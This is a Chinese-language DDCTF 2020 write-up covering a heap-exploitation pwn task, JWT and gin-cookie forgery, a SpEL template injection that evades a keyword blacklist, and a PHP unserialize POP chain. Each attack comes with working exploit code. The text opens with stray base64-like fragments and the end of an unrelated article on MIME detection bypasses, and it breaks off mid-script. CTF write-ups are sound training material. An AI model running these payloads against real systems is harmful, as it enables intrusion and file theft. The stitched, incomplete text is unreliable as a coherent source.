DdY=.DXE=.DQ4=.0XU=.8/Q=.cVU=.VPE=.0PY=.0AI=.AFA=.SwE=.AhQ=.AxQ=.AAI=.AAg=.
ABE=.So4=.STw=.z1E=.aEY=.AAA=.AEQ=.AAA=.AAk=A.AA=.AAA=.AAA=.AAA=.AAA=.ALY=.
gQA=.AAA=.AGU=.aWM=.YXI=.LmM=.b20=.UEs=.BQY=.AAA=.AAA=.AQA=.AQA=.NwA=.AAA=.
bQA=.AAA=.AAA=.
--foo--
## 结论
请注意，这篇文章只是对可以做什么的一个小小的洞察。我发现了更多的bypass，包括内容分析和从附件中提取正确的文件名（以阻止`.exe`，`.scr`等）。MIME的情况与我在HTTP中描述的情况差不多并。这些方法不仅限于欺骗恶意软件分析。通过将这些方法应用于向用户显示的文本内容，它们还可用于欺骗网络钓鱼和垃圾邮件检测。例如，它们可用于使分析看到乱码或使其分析错误的MIME部分，但将邮件显示为最终用户的预期。
审核人：yiwang 编辑：边边 | 社区文章 |
# DDCTF 2020 Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## we_love_free
vector结构：
00000000 vector struc ; (sizeof=0x18, mappedto_7)
00000000 ; XREF: .bss:vec_/r
00000000 start dq ?
00000008 cur dq ?
00000010 end dq ?
00000018 vector ends
00000018
00000000 ; [00000018 BYTES. COLLAPSED STRUCT Elf64_Rela. PRESS CTRL-NUMPAD+ TO EXPAND]
00000000 ; [00000010 BYTES. COLLAPSED STRUCT Elf64_Dyn. PRESS CTRL-NUMPAD+ TO EXPAND]
vector
的扩容规则是1,2,4,8,16,32,依次乘2个元素的时候会先申请新的空间，在把原来的数据拷贝到新申请的空间中，在释放原先的空间，对应申请的堆块大小（加上头部）0x20,0x20,0x30,0x50,0x90…..
漏洞点：
思路为：
* 先`add`16个元素（0x90的堆块），这样调用`show`函数的时候，在`push 0xAABBCCDD`之后，原先的堆块就会被释放，这样就能有`UAF`的效果，先泄露下libc的地址，在调用`clear`函数清空，这里调用`clear`会触发`malloc_consolidate`，所以堆又会变成原来的样子
* 在`add`至少`0x20`个元素，每个元素都为`one_gadget`，在堆上残留数据，在调用`clear`函数清空堆
* 接着在`add`16个元素，调用`show`函数
* `show`函数还会问我们要不要修改元素的值，所以我们可以把`unsorted bin`的`bk`指针改掉，用作`unsortedbin attack`，改成啥后面再说
* 接着在修改`push 0xAABBCCDD`之后新申请的堆块的大小，改小`size`，在`clear`的时候不触发`malloc_consolidate`，这样就为后面的`unsortedbin attack`做好了准备
* 最后只要在`add` 9 个元素，vector就会申请0x80大小的堆块，触发`unsortedbin attack`，将`unsortedbin`的地址写入一个地方
现在的问题就是将这个`unsortedbin`的地址写哪里了，我们可以看到程序用到了cin，cout，在data段上有指针指向他们虚表：
所以我们选择攻击cin或者cout，都试一下，效果如下：
libc2.23有很多`one_gadget`，这里选的是：
* 在add完元素之后就会调用cin，或者cout，就能触发one_gadget，拿到shell
**exp**
from pwn import *
context.arch = 'amd64'
# context.terminal = ["tmux","split-window","-h"]
def cmd(command):
p.recvuntil(">>")
p.sendline(str(command))
def add(cap):
cmd(1)
p.recvuntil("num:")
p.sendline(str(cap))
def show():
cmd(2)
def clear():
cmd(3)
def main(host,port=5005):
global p
if host:
p = remote(host,port)
else:
p = process("./pwn1")
gdb.attach(p)
# gdb.attach(p,"b *0x000000000401192")
for i in range(0x10):
add(0xcafebabedeadbeef)
show()
p.recvuntil("1:")
libc.address = int(p.recvuntil('\n')[:-1]) - 0x3c4b78
info("libc : " + hex(libc.address))
for i in range(34):
p.recvuntil("(y/n):")
p.send('n')
for i in range(0x10):
add(libc.address)
clear()
for i in range(0x21):
add(0xf67b0+libc.address)
clear()
# unsorted bin attack
for i in range(0x10):
add(0xcafebabedeadbeef)
show()
p.recvuntil("1:")
p.recvuntil("(y/n):")
p.send('n')
p.recvuntil("(y/n):")
p.send('y')
# modify unsortedbin->bk
p.sendline(str(0x6051f8-0x10))
for i in range(32):
p.recvuntil("(y/n):")
p.send('y')
p.sendline(str(0x71))
clear()
# trigger one_gadget
for i in range(0x9):
add(0xcafebabedeadbeef)
p.interactive()
if __name__ == "__main__":
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)
main(args['REMOTE'])
## Web签到题
**题目描述**
请从服务端获取client，利用client获取flag
server url:http://117.51.136.197/hint/1.txt
打开
[http://117.51.136.197/hint/1.txt。](http://117.51.136.197/hint/1.txt%E3%80%82)
随便登录一下，返回的是 jwt。
再去 auth 验证，显示不是 admin。
<https://jwt.io> 解码：
{
"userName": "1",
"pwd": "2",
"userRole": "GUEST",
"exp": 1599455908
}
尝试爆破：<https://github.com/brendan-rius/c-jwt-cracker.git>
➜ c-jwt-cracker git:(master) ✗ ./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIyIiwidXNlclJvbGUiOiJHVUVTVCIsImV4cCI6MTU5OTQ1NTkwOH0.pmPAENHIrzdgFmXFH51YUYLci_7eMNFBVPHKjd0o4RQ
Secret is "2"
伪造 JWT：
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IjEiLCJwd2QiOiIyIiwidXNlclJvbGUiOiJBRE1JTiIsImV4cCI6MTU5OTQ1NTkwOH0.TUEJsckrY__hRRoKBv30-cXvDZwrTZq916CjC708L-4
<http://117.51.136.197/B5Itb8dFDaSFWZZo/client> 下载下来。
Go 写的，简单逆一下，得到签名算法。
package main
import (
"bytes"
"io/ioutil"
"net/http"
"crypto/hmac"
"crypto/sha256"
"encoding/base64"
"encoding/json"
"time"
"github.com/gin-gonic/gin"
)
type Param struct {
Command string `json:"command"`
Signature string `json:"signature"`
Timestamp int64 `json:"timestamp"`
}
func main() {
r := gin.Default()
r.POST("/", func(c *gin.Context) {
command := c.DefaultPostForm("command", "DDCTF")
key := "DDCTFWithYou"
timestamp := time.Now().Unix()
plain := fmt.Sprintf("%s|%d", command, timestamp)
mac := hmac.New(sha256.New, []byte(key))
mac.Write([]byte(plain))
param := new(Param)
param.Command = command
param.Signature = base64.StdEncoding.EncodeToString(mac.Sum(nil))
param.Timestamp = timestamp
js, _ := json.Marshal(param)
url := "http://117.51.136.197/server/command"
resp, err := http.Post(url, "application/json", bytes.NewBuffer(js))
if err != nil {
panic(err)
}
defer resp.Body.Close()
body, _ := ioutil.ReadAll(resp.Body)
c.String(http.StatusOK, string(body))
})
r.Run(":2333")
}
一开始还以为是 cel，SpEL 有点简单过滤，直接能读到 /flag。
new java.util.Scanner(new java.io.File('/home/dc2-user/flag/flag.txt')).next()
## 卡片商店
**题目描述**
题目链接：
http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/
网站逻辑比较简单，总共有几个点：
* 向朋友借钱 /loans?loans=999
* 借钱给朋友 /sends?sends=999
* 刷新卡片 /banlance
* 兑换礼物 /gift
* 重新开始 /reset
直接点兑换礼物，会显示：卡片数量不够 / 有借卡记录。
试几次发现借钱这有溢出，大概在 `2 ** 63 - 2` 左右。
<http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/loans?loans=9223372036854775807>
领礼物！
尝试过程中，发现 cookie 一直在变的，看起来比较像 gin-session。
MTU5OTM3MTgyOXxEdi1CQkFFQ180SUFBUkFCRUFBQV80dl9nZ0FDQm5OMGNtbHVad3dJQUFaM1lXeHNaWFFHYzNSeWFXNW5ERlFBVW5zaWIzZHBibWR6SWpwYlhTd2lhVzUyWlhOMGN5STZXMTBzSW0xdmJtVjVJam93TENKdWIzZGZkR2x0WlNJNk1UVTVPVE0zTVRneU9Td2ljM1JoY25SZmRHbHRaU0k2TVRVNU9UTTNNVGd5T1gwR2MzUnlhVzVuREFjQUJXRmtiV2x1QkdKdmIyd0NBZ0FBfO4vhpl7H2aOCvA6U6z8hL6S8JQp85w1Gc4MrGAvjS8S
并且，解码几次后发现有数据：
弄个 Demo 验证一下：
package main
import (
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
)
func main() {
r := gin.Default()
store := cookie.NewStore([]byte("secret"))
r.Use(sessions.Sessions("session", store))
r.GET("/hello", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("hello") != "world" {
session.Set("hello", "world")
session.Save()
}
c.JSON(200, gin.H{"hello": session.Get("hello")})
})
r.Run(":8000")
}
没毛病，那么礼物里给的 SecKey: Udc13VD5adM_c10nPxFu[@v12](https://github.com/v12 "@v12")
应该就是密钥了。
直接访问
[http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/flag，显示是不是幸运玩家。](http://116.85.37.131/0714dcd10ba8571bc7887aeaa4adaa0e/flag%EF%BC%8C%E6%98%BE%E7%A4%BA%E6%98%AF%E4%B8%8D%E6%98%AF%E5%B9%B8%E8%BF%90%E7%8E%A9%E5%AE%B6%E3%80%82)
结合上面 base64 解码的来看，里面还有个 admin 的 bool 值，尝试伪造 cookie。拿上面的 Demo 改改：
func main() {
r := gin.Default()
store := cookie.NewStore([]byte("Udc13VD5adM_c10nPxFu@v12"))
r.Use(sessions.Sessions("session", store))
r.GET("/hello", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("admin") != true {
session.Set("admin", true)
session.Save()
}
c.JSON(200, gin.H{"admin": session.Get("admin")})
})
r.Run(":8000")
}
MTU5OTM3MjczMnxEdi1CQkFFQ180SUFBUkFCRUFBQUhmLUNBQUVHYzNSeWFXNW5EQWNBQldGa2JXbHVCR0p2YjJ3Q0FnQUJ8C_Mv8jlvNUHLHLCjWl4ADTbzs6s06pkZx1zQEC5xlRo=
直接就出 flag 了 ：）
另外，这 cookie 里的 session 大致格式可能是
`base64encode(timestamp|base64urlencode(gob)|xxx)`，可结合源码进行验证。
使用 <https://gitlab.com/drosseau/degob> 可以把中间部分逆出来：
map[interface{}]interface{}{"wallet": "{"owings":[],"invests":[],"money":0,"now_time":1599371829,"start_time":1599371829}","admin": false}
## Easy Web
**题目描述**
题目链接：
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/index
访问题目直接 302
到登录页面：<http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/login;jsessionid=D492DA095399C06CE3133D970ADDF11E>
登录时看到 rememberMe，大概率是打 Shiro，CVE 直接绕。
任意读：http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=static/hello.jpg
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/web.xml
<web-app xmlns="http://java.sun.com/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/javaee http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd"
version="3.0" metadata-complete="false">
<display-name>Archetype Created Web Application</display-name>
<context-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-core.xml</param-value>
</context-param>
<listener>
<listener-class>org.springframework.web.util.WebAppRootListener</listener-class>
</listener>
<listener>
<listener-class>org.springframework.web.util.IntrospectorCleanupListener</listener-class>
</listener>
<listener>
<listener-class>org.springframework.web.context.ContextLoaderListener</listener-class>
</listener>
<servlet>
<servlet-name>springmvc</servlet-name>
<servlet-class>org.springframework.web.servlet.DispatcherServlet</servlet-class>
<init-param>
<param-name>contextConfigLocation</param-name>
<param-value>classpath:spring-web.xml</param-value>
</init-param>
</servlet>
<servlet-mapping>
<servlet-name>springmvc</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping>
<filter>
<filter-name>encodingFilter</filter-name>
<filter-class>org.springframework.web.filter.CharacterEncodingFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>UTF-8</param-value>
</init-param>
<init-param>
<param-name>forceEncoding</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>encodingFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>safeFilter</filter-name>
<filter-class>com.ctf.util.SafeFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>safeFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>shiroFilter</filter-name>
<filter-class>org.springframework.web.filter.DelegatingFilterProxy</filter-class>
<init-param>
<param-name>targetFilterLifecycle</param-name>
<param-value>true</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>shiroFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<error-page>
<error-code>500</error-code>
<location>/error.jsp</location>
</error-page>
<error-page>
<error-code>404</error-code>
<location>/hacker.jsp</location>
</error-page>
<error-page>
<error-code>403</error-code>
<location>/hacker.jsp</location>
</error-page>
</web-app>
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/com/ctf/util/SafeFilter.class
package com.ctf.util;
import javax.servlet.*;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class SafeFilter implements Filter {
private static final String[] blacklists = {"java.+lang", "Runtime|Process|byte|OutputStream|session|\"|'", "exec.*\\(", "write|read", "invoke.*\\(", "\\.forName.*\\(", "lookup.*\\(", "\\.getMethod.*\\(", "javax.+script.+ScriptEngineManager", "com.+fasterxml", "org.+apache", "org.+hibernate", "org.+thymeleaf", "javassist", "javax\\.", "eval.*\\(", "\\.getClass\\(", "org.+springframework", "javax.+el", "java.+io"};
private final String encoding = "UTF-8";
public void init(FilterConfig arg0) throws ServletException {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterChain)
throws IOException, ServletException {
request.setCharacterEncoding("UTF-8");
response.setCharacterEncoding("UTF-8");
Enumeration pNames = request.getParameterNames();
while (pNames.hasMoreElements()) {
String name = (String) pNames.nextElement();
String value = request.getParameter(name);
for (String blacklist : blacklists) {
Matcher matcher = Pattern.compile(blacklist, 34).matcher(value);
if (matcher.find()) {
HttpServletResponse servletResponse = (HttpServletResponse) response;
servletResponse.sendError(403);
}
}
}
filterChain.doFilter(request, response);
}
public void destroy() {
}
}
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/com/ctf/controller/IndexController.class
package com.ctf.controller;
import com.ctf.model.User;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.subject.Subject;
import org.springframework.core.io.ClassPathResource;
import org.springframework.core.io.InputStreamResource;
import org.springframework.http.HttpHeaders;
import org.springframework.http.MediaType;
import org.springframework.http.ResponseEntity;
import org.springframework.http.ResponseEntity.BodyBuilder;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.util.DigestUtils;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class IndexController {
public IndexController() {
}
@RequestMapping({"/"})
public String index() {
return "redirect:/index";
}
@RequestMapping({"/index"})
public String index(Model model) {
try {
Subject subject = SecurityUtils.getSubject();
User user = (User)subject.getSession().getAttribute("user");
model.addAttribute("name", user.getUsername());
} catch (Exception var4) {
model.addAttribute("name", "user");
}
return "index";
}
@GetMapping({"/unauthorized"})
public String unauthorized() {
return "unauthorized";
}
@RequestMapping({"img"})
public Object img(@RequestParam("img") String img) {
ResponseEntity response = null;
try {
ClassPathResource classPathResource = new ClassPathResource("../../" + img);
File file = classPathResource.getFile();
HttpHeaders headers = new HttpHeaders();
headers.add("Cache-Control", "no-cache, no-store, must-revalidate");
headers.add("Content-Disposition", "attachment; filename=" + DigestUtils.md5DigestAsHex(img.getBytes()) + ".jpg");
headers.add("Pragma", "no-cache");
headers.add("Expires", "0");
response = ((BodyBuilder)ResponseEntity.ok().headers(headers)).contentType(MediaType.parseMediaType("application/octet-stream")).body(new InputStreamResource(new FileInputStream(file)));
return response;
} catch (IOException var6) {
return "forbidden";
}
}
}
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/web/img?img=WEB-INF/classes/com/ctf/controller/AuthController.class
package com.ctf.controller;
import com.ctf.model.Role;
import com.ctf.model.User;
import java.util.Iterator;
import javax.servlet.http.HttpSession;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
@Controller
public class AuthController {
public AuthController() {
}
@GetMapping({"/login"})
public String login() {
return "login";
}
@PostMapping({"/auth"})
public String auth(@RequestParam("username") String username, @RequestParam("password") String password, HttpSession httpSession, Model model) {
UsernamePasswordToken usernamePasswordToken = new UsernamePasswordToken(username, password);
Subject subject = SecurityUtils.getSubject();
String error = null;
try {
subject.login(usernamePasswordToken);
User user = (User) subject.getPrincipal();
httpSession.setAttribute("user", user);
Iterator var9 = user.getRoles().iterator();
Role role;
do {
if (!var9.hasNext()) {
return "redirect:./index";
}
role = (Role) var9.next();
} while (!role.getName().equals("admin"));
return "redirect:./68759c96217a32d5b368ad2965f625ef/index";
} catch (Exception var11) {
error = "login failed!";
model.addAttribute("error", true);
model.addAttribute("msg", error);
return "login";
}
}
}
http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/index
黑名单还是比较严格的：
{"java.+lang",
"javax.+el",
"java.+io",
"write|read|Runtime|Process|byte|OutputStream|session|\"|'",
"exec.*\\(",
"invoke.*\\(",
"lookup.*\\(",
"eval.*\\(",
"\\.forName.*\\(",
"\\.getMethod.*\\(",
"\\.getClass\\(",
"javax.+script.+ScriptEngineManager",
"com.+fasterxml",
"org.+apache",
"org.+hibernate",
"org.+thymeleaf",
"org.+springframework",
"javassist",
"javax\\."}
可结合 Thymeleaf 模板本身的特性去绕，或许可以 getshell，我这用的是 SpEL 的 payload 读了文件。
**exp**
import re
import requests
from flask import Flask, request
app = Flask(__name__)
def requestToServer(content):
content = '[[${{{}}}]]'.format(content)
url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/customize'
response = requests.post(url=url, data={'content': content}).text
try:
redirect = re.search('fetch \./(.*) !', response).group(1)
url = 'http://116.85.37.131/6f0887622b5e34b5c9243f3ff42eb605/;/web/68759c96217a32d5b368ad2965f625ef/'
url += redirect
return requests.get(url).text
except Exception as e:
return str(e) + response
def toForNameOrStr(source, strFlag=False):
res = 'T(Character).toString(%s)' % ord(source[0])
for ch in source[1:]:
res += '.concat(T(Character).toString(%s))' % ord(ch)
if strFlag:
return res
return '0.class. forName({})'.format(res)
@app.route('/', methods=['GET', 'POST'])
def handler():
content = request.form.get('content')
dir = request.form.get('dir')
file = request.form.get('file')
if dir:
# 单层：java.util.Arrays.toString(java.nio.file.Files.list(java.nio.file.Paths.get("/")).toArray());
# 递归：java.util.Arrays.toString(java.nio.file.Files.walk(java.nio.file.Paths.get("/")).toArray());
listDirPayload = 'T(java.util.Arrays).toString({}.list({}.get({})).toArray())'.format(
toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(dir, True))
print(listDirPayload)
return requestToServer(listDirPayload)
if file:
# java.nio.file.Files.lines(java.nio.file.Paths.get("/flag")).findFirst().toString()
catFilePaylod = '{}.lines({}.get({})).findFirst().toString()'.format(
toForNameOrStr('java.nio.file.Files'), toForNameOrStr('java.nio.file.Paths'), toForNameOrStr(file, True))
print(catFilePaylod)
return requestToServer(catFilePaylod)
return requestToServer(content)
if __name__ == '__main__':
app.run(debug=True)
## Overwrite Me
**题目描述**
http://117.51.137.166/atkPWsr2x3omRZFi.php
直接给了源码：
Welcome to DDCTF 2020, Have fun!
<?php
error_reporting(0);
class MyClass
{
var $kw0ng;
var $flag;
public function __wakeup()
{
$this->kw0ng = 2;
}
public function get_flag()
{
return system('find /HackersForever ' . escapeshellcmd($this->flag));
}
}
class HintClass
{
protected $hint;
public function execute($value)
{
include($value);
}
public function __invoke()
{
if(preg_match("/gopher|http|file|ftp|https|dict|zlib|zip|bzip2|data|glob|phar|ssh2|rar|ogg|expect|\.\.|\.\//i", $this->hint))
{
die("Don't Do That!");
}
$this->execute($this->hint);
}
}
class ShowOff
{
public $contents;
public $page;
public function __construct($file='/hint/hint.php')
{
$this->contents = $file;
echo "Welcome to DDCTF 2020, Have fun!<br/><br/>";
}
public function __toString()
{
return $this->contents();
}
public function __wakeup()
{
$this->page->contents = "POP me! I can give you some hints!";
unset($this->page->cont);
}
}
class MiddleMan
{
private $cont;
public $content;
public function __construct()
{
$this->content = array();
}
public function __unset($key)
{
$func = $this->content;
return $func();
}
}
class Info
{
function __construct()
{
eval('phpinfo();');
}
}
$show = new ShowOff();
$bullet = $_GET['bullet'];
if(!isset($bullet))
{
highlight_file(__FILE__);
die("Give Me Something!");
}else if($bullet == 'phpinfo')
{
$infos = new Info();
}else
{
$obstacle1 = new stdClass;
$obstacle2 = new stdClass;
$mc = new MyClass();
$mc->flag = "MyClass's flag said, Overwrite Me If You Can!";
@unserialize($bullet);
echo $mc->get_flag();
}
Give Me Something!
看到特意设置 `$this->kw0ng = 2;`，就能猜到是考 GMP 了。可参考
[https://paper.seebug.org/1267/。](https://paper.seebug.org/1267/%E3%80%82)
线上 include 一直读不到内容，放弃了。没想到 http://117.51.137.166/hint/hint.php 直接能访问……
Good Job! You've got the preffix of the flag: DDCTF{VgQN6HXC2moDAq39And i'll give a hint, I have already installed the PHP GMP extension, It has a kind of magic in php unserialize, Can you utilize it to get the remaining flag? Go ahead!
GMP做法：
$inner = 's:1:"4";a:2:{s:4:"flag";s:20:"-exec cat /flag {} ;";i:0;O:12:"DateInterval":1:{s:1:"y";R:2;}}';
$exploit = 'a:1:{i:0;C:3:"GMP":'.strlen($inner).':{'.$inner.'}}';
不过这题不用 GMP 也能打。
<?php
class MyClass {
var $kw0ng;
var $flag;
}
class HintClass {
protected $hint;
}
class ShowOff {
public $contents;
public $page;
}
class MiddleMan {
public $content;
private $cont;
}
$showoff = new ShowOff();
$myclass = new MyClass();
$myclass->flag = '-exec cat /flag {} ;';
$showoff->page = new MiddleMan();
$showoff->page->content = [$myclass, 'get_flag'];
$paylod = urlencode(serialize($showoff));
$url = 'http://117.51.137.166/atkPWsr2x3omRZFi.php?bullet=';
echo file_get_contents($url . $paylod);
## Android reverse1
题目后来改成只需要输入 md5 结果就可以了，略。
## Android reverse2
基本是 re1 加了壳和 ollvm。
输入flag，进行 AES（key 是 `1234567890123456`），再进行一个类似 TEA 的块加密（12轮，key 是
`[20,20,30,40]`)。
块加密只要把加密流程倒过来就是解密，块加密部分代码如下：
#include <stdio.h>
void encrypt()
{
int ct[8] = {0xA1D4547,0x46F12E5A,0xFA679C2B,0xA90F985,0x4898B5D8,0x940C67C7,0xD2549BB2,0x7A2E9E37};
unsigned int b0,b1,b2,b3,b4,b5,b6,b7;
int k0,k1,k2,k3;
int key[4] = {20,20,30,40};
int round;
unsigned int sum;
b0 = ct[0];
b1 = ct[1];
b4 = ct[4];
b5 = ct[5];
b6 = ct[6];
b7 = ct[7];
b2 = ct[2];
b3 = ct[3];
round = -12;
sum = 0x9E3779B9;
int v15;
do
{
v15 = (sum >> 2) & 3;
k0 = key[v15];
b0 += (((4 * b1) ^ (b7 >> 5)) + ((b1 >> 3) ^ (16 * b7))) ^ ((k0 ^ b7) + (b1 ^ sum));
k1 = key[v15 ^ 1];
b1 += (((4 * b2) ^ (b0 >> 5)) + ((b2 >> 3) ^ (16 * b0))) ^ ((k1 ^ b0) + (b2 ^ sum));
k2 = key[v15 ^ 2];
k3 = key[v15 ^ 3];
b2 += (((4 * b3) ^ (b1 >> 5)) + ((b3 >> 3) ^ (16 * b1))) ^ ((k2 ^ b1) + (b3 ^ sum));
b3 += (((4 * b4) ^ (b2 >> 5)) + ((b4 >> 3) ^ (16 * b2))) ^ ((k3 ^ b2) + (b4 ^ sum));
b4 += (((4 * b5) ^ (b3 >> 5)) + ((b5 >> 3) ^ (16 * b3))) ^ ((k0 ^ b3) + (b5 ^ sum));
b5 += (((4 * b6) ^ (b4 >> 5)) + ((b6 >> 3) ^ (16 * b4))) ^ ((k1 ^ b4) + (b6 ^ sum));
b6 += (((4 * b7) ^ (b5 >> 5)) + ((b7 >> 3) ^ (16 * b5))) ^ ((k2 ^ b5) + (b7 ^ sum));
b7 += (((4 * b0) ^ (b6 >> 5)) + ((b0 >> 3) ^ (16 * b6))) ^ ((k3 ^ b6) + (b0 ^ sum));
sum -= 0x61C88647;
if(b0 == 0x236CF790) {
printf("%d!!\n",round);
}
round++;
} while (round);
ct[4] = b4;
ct[5] = b5;
ct[6] = b6;
ct[7] = b7;
ct[0] = b0;
ct[1] = b1;
ct[2] = b2;
ct[3] = b3;
for(int i=0;i<8;i++){
printf("0x%x,", ct[i]);
}
}
void decrypt() {
unsigned int ct[8] = {3797070621,1774570762,3749504464,2331029089,3730067905,3512268604,3730298464,2946165678};
unsigned int b0,b1,b2,b3,b4,b5,b6,b7;
int k0,k1,k2,k3;
int key[4] = {20,20,30,40};
int round = -12;
unsigned int sum;
b0 = ct[0];
b1 = ct[1];
b4 = ct[4];
b5 = ct[5];
b6 = ct[6];
b7 = ct[7];
b2 = ct[2];
b3 = ct[3];
round = -12;
sum = 0x9E3779B9 * 12;
int v15;
do
{
v15 = (sum >> 2) & 3;
k0 = key[v15];
k1 = key[v15 ^ 1];
k2 = key[v15 ^ 2];
k3 = key[v15 ^ 3];
b7 -= (((4 * b0) ^ (b6 >> 5)) + ((b0 >> 3) ^ (16 * b6))) ^ ((k3 ^ b6) + (b0 ^ sum));
b6 -= (((4 * b7) ^ (b5 >> 5)) + ((b7 >> 3) ^ (16 * b5))) ^ ((k2 ^ b5) + (b7 ^ sum));
b5 -= (((4 * b6) ^ (b4 >> 5)) + ((b6 >> 3) ^ (16 * b4))) ^ ((k1 ^ b4) + (b6 ^ sum));
b4 -= (((4 * b5) ^ (b3 >> 5)) + ((b5 >> 3) ^ (16 * b3))) ^ ((k0 ^ b3) + (b5 ^ sum));
b3 -= (((4 * b4) ^ (b2 >> 5)) + ((b4 >> 3) ^ (16 * b2))) ^ ((k3 ^ b2) + (b4 ^ sum));
b2 -= (((4 * b3) ^ (b1 >> 5)) + ((b3 >> 3) ^ (16 * b1))) ^ ((k2 ^ b1) + (b3 ^ sum));
b1 -= (((4 * b2) ^ (b0 >> 5)) + ((b2 >> 3) ^ (16 * b0))) ^ ((k1 ^ b0) + (b2 ^ sum));
b0 -= (((4 * b1) ^ (b7 >> 5)) + ((b1 >> 3) ^ (16 * b7))) ^ ((k0 ^ b7) + (b1 ^ sum));
round++;
sum += 0x61C88647;
} while (round);
ct[4] = b4;
ct[5] = b5;
ct[6] = b6;
ct[7] = b7;
ct[0] = b0;
ct[1] = b1;
ct[2] = b2;
ct[3] = b3;
for(int i=0;i<8;i++){
printf("0x%x,", ct[i]);
}
}
int main()
{
decrypt();
}
输出是：
0x7ac10c4d,0x8db932c0,0x3bcb75a,0x796cdcac,0x9ddefec9,0x6f901a2c,0x575f7ae5,0x56c3ba58
把这个用 AES 解密就可以得到 flag。
## 拼图
把原图切成 51 * 27 的 6400 个小图，依次和给定的图片匹配，这样可以匹配 6378 张图片，还剩22张，得到：
剩下的 22 张图片手动拼接，得到：
**exp**
from PIL import Image
import os
import json
import shutil
SINGLE_X = 51
SINGLE_Y = 27
def get_one_block(pic, lx, ly):
new_pic = Image.new("RGB",(SINGLE_X, SINGLE_Y))
for i in range(lx, lx + SINGLE_X):
for j in range(ly, ly+SINGLE_Y):
try:
pix = pic.getpixel((i,j))
new_pic.putpixel((i-lx,j-ly), pix)
except IndexError:
print(lx, ly, j, i)
return new_pic
def put_one_block(pic, lx, ly, new_pic):
for i in range(lx, lx + SINGLE_X):
for j in range(ly, ly+SINGLE_Y):
try:
pix = new_pic.getpixel((i-lx,j-ly))
pic.putpixel((i,j), pix)
except IndexError:
print(lx, ly, j, i)
split_names = os.listdir("./new_pic/")
split_names = [i for i in split_names if "png" in i]
origin_names = os.listdir("./file_d0wnl0ad/")
origin_names = [i for i in origin_names if "png" in i]
def get_pic_datas(pattern, names):
pic_data = []
for i in names:
im = Image.open(pattern.format(i))
pic_data.append(list(im.getdata()))
im.close()
return pic_data
def get_pairs():
origin_datas = get_pic_datas("./file_d0wnl0ad/{}", origin_names)
split_datas = get_pic_datas("./new_pic/{}", split_names)
pairs = dict()
PIX_NUMBER = 5
new_one = 0
for i in split_datas:
pair = [j for j in origin_datas if j == i]
if len(pair) == 1:
split_n = split_names[split_datas.index(i)]
origin_n = origin_names[origin_datas.index(pair[0])]
pairs[split_n] = origin_n
else:
pair = [j for j in origin_datas if j[-PIX_NUMBER:] == i[-PIX_NUMBER:]]
if len(pair) == 1:
new_one += 1
split_n = split_names[split_datas.index(i)]
origin_n = origin_names[origin_datas.index(pair[0])]
pairs[split_n] = origin_n
else:
print(len(pair))
print(new_one)
return pairs
def combine_pic(pairs):
new_demo = Image.new("RGB", (4096,2160))
for split_n,origin_n in pairs.items():
li, lj = split_n.split('.')[0].split('_')
li, lj = int(li), int(lj)
new_pic = Image.open("./file_d0wnl0ad/{}".format(origin_n))
put_one_block(new_demo, li * SINGLE_X, lj * SINGLE_Y, new_pic)
new_pic.close()
return new_demo
if __name__ == "__main__":
demo = Image.open("./file_d0wnl0ad/demo.jpg")
# im = get_one_block(demo, 0,0)
# im.show()
# for i in range(0, 80):
# for j in range(0, 80):
